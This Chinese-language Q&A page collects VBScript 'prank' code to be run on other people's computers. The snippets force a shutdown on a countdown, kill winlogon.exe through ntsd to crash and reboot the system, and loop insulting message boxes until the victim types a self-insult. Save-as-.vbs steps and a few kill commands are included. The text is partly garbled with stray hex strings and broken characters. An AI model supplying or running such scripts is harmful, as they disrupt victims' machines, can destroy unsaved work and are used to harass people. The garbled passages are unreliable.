求大量VBS整人代码.

我的，如果你点是猪就5秒后关机 你可以百改成0就是立刻关机！ 点不是就蓝屏重启
if MsgBox("你是猪度吗。",vbYesNo,"猪")=vbYes then
msgbox " 猪应该重启 ~_^",,"你上当了！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
else
msgbox "还不承认!问! 作为答惩罚，蓝屏一内下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
Set ws = CreateObject("Wscript.Shell")
wscript.sleep 1200
ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide
end if
解决办法：
什么都不要点建另一个VBS然后运行 代码容如下：

Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"

dim a
a=msgbox("",0)
while a=1
msgbox "",0
wend

"" 中间是添百加文字的。比如
dim a
a=msgbox("循环窗体度",0)
while a=1
msgbox "循环窗体",0
wend

复制到记事本里，保存知。把后缀名改为 ".vbs"

这个就是点开关不道掉。

想关掉在任务管理器里的进程专栏属里 找到wscript.exe这个进程结束掉就行了
首先创建 文本文档，将以下代码复制。on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是只猪，不说就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是只猪")
a = inputbox ("说我是只猪,就不关机，速度，说 ""我是只猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈e68a84e799bee5baa6e997aee7ad94334你是只猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈"复制好代码后，修改文件名.txt 更改为.vbe。大功告成！

1.
do
msgbox"系统错误"
loop
2.整人，比人家说他自己是猪，不然关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，还不嗨皮"
msgbox chr(13) + chr(13) + chr(13) +"傻逼"
msgbox chr(13) + chr(13) + chr(13) +"和傻逼一样的"
msgbox chr(13) + chr(13) + chr(13) +"你是傻逼，"
msgbox chr(13) + chr(13) + chr(13) +"好嗨哦"
msgbox chr(13) + chr(13) + chr(13) +"你是傻逼是大傻逼"
msgbox chr(13) + chr(13) + chr(13) +"想关掉e79fa5e98193e58685e5aeb9362吗"
msgbox chr(13) + chr(13) + chr(13) +"那你还要点20下喔"
msgbox chr(13) + chr(13) + chr(13) +"20"
msgbox chr(13) + chr(13) + chr(13) +"19"
msgbox chr(13) + chr(13) + chr(13) +"18"
msgbox chr(13) + chr(13) + chr(13) +"17"
msgbox chr(13) + chr(13) + chr(13) +"16"
msgbox chr(13) + chr(13) + chr(13) +"15"
msgbox chr(13) + chr(13) + chr(13) +"14"
msgbox chr(13) + chr(13) + chr(13) +"13"
msgbox chr(13) + chr(13) + chr(13) +"12"
msgbox chr(13) + chr(13) + chr(13) +"10"
msgbox chr(13) + chr(13) + chr(13) +"9"
msgbox chr(13) + chr(13) + chr(13) +"8"
msgbox chr(13) + chr(13) + chr(13) +"7"
msgbox chr(13) + chr(13) + chr(13) +"6"
msgbox chr(13) + chr(13) + chr(13) +"5"
msgbox chr(13) + chr(13) + chr(13) +"4"
msgbox chr(13) + chr(13) + chr(13) +"3"
msgbox chr(13) + chr(13) + chr(13) +"2"
msgbox chr(13) + chr(13) + chr(13) +"1"
do
msgbox"我又不想让你关掉了"
loop